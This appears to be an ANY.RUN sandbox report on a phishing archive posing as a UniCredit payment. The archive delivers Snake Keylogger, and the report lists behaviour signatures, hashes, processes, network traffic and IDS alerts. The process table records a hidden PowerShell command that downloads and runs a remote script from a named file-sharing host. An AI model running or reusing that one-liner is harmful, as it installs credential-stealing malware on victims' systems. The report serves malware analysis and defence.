File name:

Pagamento_UniCredit.tar

Full analysis: https://app.any.run/tasks/8cb6334d-68bc-4c5a-a9b1-a4d3a28d648a
Verdict: Malicious activity
Threats:

A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools.

Malware Trends Tracker     >>>
Analysis date: May 19, 2025, 08:47:00
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
fileshare
arch-exec
autoit
snake
keylogger
evasion
stealer
Indicators:
MIME: application/x-tar
File info: POSIX tar archive (GNU)
MD5:

50393AC7A30DD24FDBE0F708E99B49F8

SHA1:

E7C15BB5F019BC1D4D61D0638F6472AD2AE4453B

SHA256:

47898739612C4DA79F788809CEF16CD6163B625989E62D6DAD4760942F705E84

SSDEEP:

24:PpGuKb4a/VfKybvnPiVrOJiUNiuAV/HJaa9YTPyUi1P/a4nJna3kOJ4RrP:P+bV0

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • SNAKEKEYLOGGER has been detected (SURICATA)

      • PING.EXE (PID: 4980)
      • PING.EXE (PID: 5680)
      • PING.EXE (PID: 4448)

    • Actions looks like stealing of personal data

      • PING.EXE (PID: 5680)
      • PING.EXE (PID: 4448)
      • PING.EXE (PID: 4980)

    • Steals credentials from Web Browsers

      • PING.EXE (PID: 5680)
      • PING.EXE (PID: 4980)
      • PING.EXE (PID: 4448)

  • SUSPICIOUS

    • Possibly malicious use of IEX has been detected

      • cmd.exe (PID: 6988)
      • cmd.exe (PID: 4980)
      • cmd.exe (PID: 5332)

    • The process executes Powershell scripts

      • cmd.exe (PID: 6988)
      • cmd.exe (PID: 4980)
      • cmd.exe (PID: 5332)

    • Executing commands from a ".bat" file

      • WinRAR.exe (PID: 1300)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 6988)
      • cmd.exe (PID: 4980)
      • cmd.exe (PID: 5332)

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 1300)

    • Starts CMD.EXE for commands execution

      • WinRAR.exe (PID: 1300)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 5728)
      • powershell.exe (PID: 6192)
      • powershell.exe (PID: 1056)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 5728)
      • powershell.exe (PID: 6192)
      • powershell.exe (PID: 1056)

    • Starts the AutoIt3 executable file

      • powershell.exe (PID: 5728)
      • powershell.exe (PID: 6192)
      • powershell.exe (PID: 1056)

    • Start notepad (likely ransomware note)

      • WinRAR.exe (PID: 1300)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 5728)

    • Checks for external IP

      • PING.EXE (PID: 4980)
      • PING.EXE (PID: 5680)
      • svchost.exe (PID: 2196)
      • PING.EXE (PID: 4448)

    • The process verifies whether the antivirus software is installed

      • PING.EXE (PID: 5680)
      • PING.EXE (PID: 4448)
      • PING.EXE (PID: 4980)

  • INFO

    • Disables trace logs

      • powershell.exe (PID: 1056)
      • powershell.exe (PID: 5728)
      • powershell.exe (PID: 6192)
      • PING.EXE (PID: 4448)
      • PING.EXE (PID: 4980)
      • PING.EXE (PID: 5680)

    • Checks proxy server information

      • powershell.exe (PID: 1056)
      • powershell.exe (PID: 5728)
      • powershell.exe (PID: 6192)
      • PING.EXE (PID: 4448)
      • PING.EXE (PID: 4980)
      • PING.EXE (PID: 5680)

    • Checks supported languages

      • FebDapsnLrDxaMzoqNZifL.exe (PID: 5332)
      • FebDapsnLrDxaMzoqNZifL.exe (PID: 1512)
      • FebDapsnLrDxaMzoqNZifL.exe (PID: 4740)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 1056)
      • powershell.exe (PID: 6192)

    • Reads Microsoft Office registry keys

      • OpenWith.exe (PID: 5124)
      • WinRAR.exe (PID: 1300)
      • OpenWith.exe (PID: 6584)

    • Reads mouse settings

      • FebDapsnLrDxaMzoqNZifL.exe (PID: 5332)
      • FebDapsnLrDxaMzoqNZifL.exe (PID: 1512)
      • FebDapsnLrDxaMzoqNZifL.exe (PID: 4740)

    • The sample compiled with english language support

      • powershell.exe (PID: 5728)

    • The executable file from the user directory is run by the Powershell process

      • FebDapsnLrDxaMzoqNZifL.exe (PID: 5332)
      • FebDapsnLrDxaMzoqNZifL.exe (PID: 1512)
      • FebDapsnLrDxaMzoqNZifL.exe (PID: 4740)

    • Reads the software policy settings

      • PING.EXE (PID: 5680)
      • PING.EXE (PID: 4980)

    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 2040)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.tar | TAR - Tape ARchive (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
156
Monitored processes
29
Malicious processes
11
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe no specs sppextcomobj.exe no specs slui.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs openwith.exe no specs openwith.exe no specs febdapsnlrdxamzoqnzifl.exe no specs #SNAKEKEYLOGGER ping.exe conhost.exe no specs notepad.exe no specs febdapsnlrdxamzoqnzifl.exe no specs #SNAKEKEYLOGGER ping.exe conhost.exe no specs febdapsnlrdxamzoqnzifl.exe no specs #SNAKEKEYLOGGER ping.exe conhost.exe no specs notepad.exe no specs svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
1056powershell -w h iex(irm https://files.catbox.moe/i56hb3.ps1)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1128\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1300"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\Pagamento_UniCredit.tarC:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
1512"C:\Users\admin\AppData\Local\FebDapsnLrDxaMzoqNZifL.exe" "C:\Users\admin\AppData\Local\QxHOwseMeChvTummvZLMvW.au3" C:\Users\admin\AppData\Local\FebDapsnLrDxaMzoqNZifL.exe—powershell.exe
User:
admin
Company:
AutoIt Team
Integrity Level:
MEDIUM
Description:
AutoIt v3 Script
Exit code:
0
Version:
3, 3, 16, 1
Modules
Images
c:\users\admin\appdata\local\febdapsnlrdxamzoqnzifl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\psapi.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
1672\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2040"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txtC:\Windows\System32\notepad.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3176\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—PING.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4008\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—PING.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4448C:\Windows\SysWOW64\ping.exe -t 127.0.0.1C:\Windows\SysWOW64\PING.EXE
FebDapsnLrDxaMzoqNZifL.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\ping.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\ws2_32.dll
Total events
55 132
Read events
55 080
Write events
52
Delete events
0

Modification events

(PID) Process:(1300) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(1300) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(1300) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(1300) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Pagamento_UniCredit.tar
(PID) Process:(1300) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(1300) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(1300) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(1300) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(1300) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths
Operation:writeName:name
Value:
256
(PID) Process:(1300) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths
Operation:writeName:size
Value:
80
Executable files
1
Suspicious files
12
Text files
9
Unknown types
0

Dropped files

PID
Process
Filename
Type
1056powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ljcr202s.nz5.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1056powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10cecb.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
5728powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:EF64E34FDFC7DEE0FD0D704C1ED7328A
SHA256:478735B2C708E92A18D63795BA8D6E8C190F1736346071F581A27A5D1B465A7D
1056powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:FC8F1F72BEBB50CE7E3447FA8FC2D284
SHA256:FDBC32CE32A48A78D4AAA7B21EE10A34F83667CD9406739DC5F6B7167920569F
1056powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_naighwak.mu2.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1300WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa1300.24509\Pagamento_UniCredit.battext
MD5:848E3646C1B9D6FECABCD1FE90D2B242
SHA256:C897732515450940B5A92BBA1C8E2D85CD3EB5797725433A642892636B1745BC
1300WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa1300.23971\Pagamento_UniCredit.battext
MD5:848E3646C1B9D6FECABCD1FE90D2B242
SHA256:C897732515450940B5A92BBA1C8E2D85CD3EB5797725433A642892636B1745BC
6192powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10ed30.TMPbinary
MD5:EF64E34FDFC7DEE0FD0D704C1ED7328A
SHA256:478735B2C708E92A18D63795BA8D6E8C190F1736346071F581A27A5D1B465A7D
6192powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:02A765A34AFFE6CFF363F78B66B27CA8
SHA256:3F0E95BF4A1B74CF49BCDE18FDB66A6432A9BD61F018B1B6F6B71487B131FAAE
6192powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zdan2ftb.zu2.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
13
TCP/UDP connections
29
DNS requests
16
Threats
20

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
23.53.40.178:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
23.53.40.178:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
23.53.40.178:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5436
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
5436
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
4980
PING.EXE
GET
200
158.101.44.242:80
http://checkip.dyndns.org/
unknown
—
—
whitelisted
4980
PING.EXE
GET
200
158.101.44.242:80
http://checkip.dyndns.org/
unknown
—
—
whitelisted
5680
PING.EXE
GET
200
158.101.44.242:80
http://checkip.dyndns.org/
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5496
MoUsoCoreWorker.exe
23.53.40.178:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
23.53.40.178:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5496
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
40.126.32.140:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
1056
powershell.exe
108.181.20.35:443
files.catbox.moe
TELUS Communications
CA
malicious

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.110
whitelisted
settings-win.data.microsoft.com
  • 4.231.128.59
whitelisted
crl.microsoft.com
  • 23.53.40.178
  • 23.53.40.176
whitelisted
www.microsoft.com
  • 184.30.21.171
  • 2.23.246.101
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
login.live.com
  • 40.126.32.140
  • 20.190.160.130
  • 40.126.32.138
  • 20.190.160.67
  • 20.190.160.14
  • 40.126.32.74
  • 20.190.160.65
  • 20.190.160.132
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
files.catbox.moe
  • 108.181.20.35
malicious
slscr.update.microsoft.com
  • 4.175.87.197
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.3.187.198
whitelisted

Threats

PID
Process
Class
Message
1056
powershell.exe
Potentially Bad Traffic
ET INFO Observed File Sharing Service Download Domain (files .catbox .moe in TLS SNI)
5728
powershell.exe
Potentially Bad Traffic
ET INFO Observed File Sharing Service Download Domain (files .catbox .moe in TLS SNI)
1056
powershell.exe
Not Suspicious Traffic
INFO [ANY.RUN] Downloading from a file sharing service is observed
6192
powershell.exe
Potentially Bad Traffic
ET INFO Observed File Sharing Service Download Domain (files .catbox .moe in TLS SNI)
6192
powershell.exe
Not Suspicious Traffic
INFO [ANY.RUN] Downloading from a file sharing service is observed
2196
svchost.exe
Device Retrieving External IP Address Detected
ET DYN_DNS External IP Lookup Domain in DNS Query (checkip .dyndns .org)
4980
PING.EXE
Device Retrieving External IP Address Detected
ET INFO External IP Lookup - checkip.dyndns.org
4980
PING.EXE
Device Retrieving External IP Address Detected
ET INFO 404/Snake/Matiex Keylogger Style External IP Check
5680
PING.EXE
Device Retrieving External IP Address Detected
ET INFO External IP Lookup - checkip.dyndns.org
5680
PING.EXE
Device Retrieving External IP Address Detected
ET INFO 404/Snake/Matiex Keylogger Style External IP Check
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Pagamento_UniCredit.tar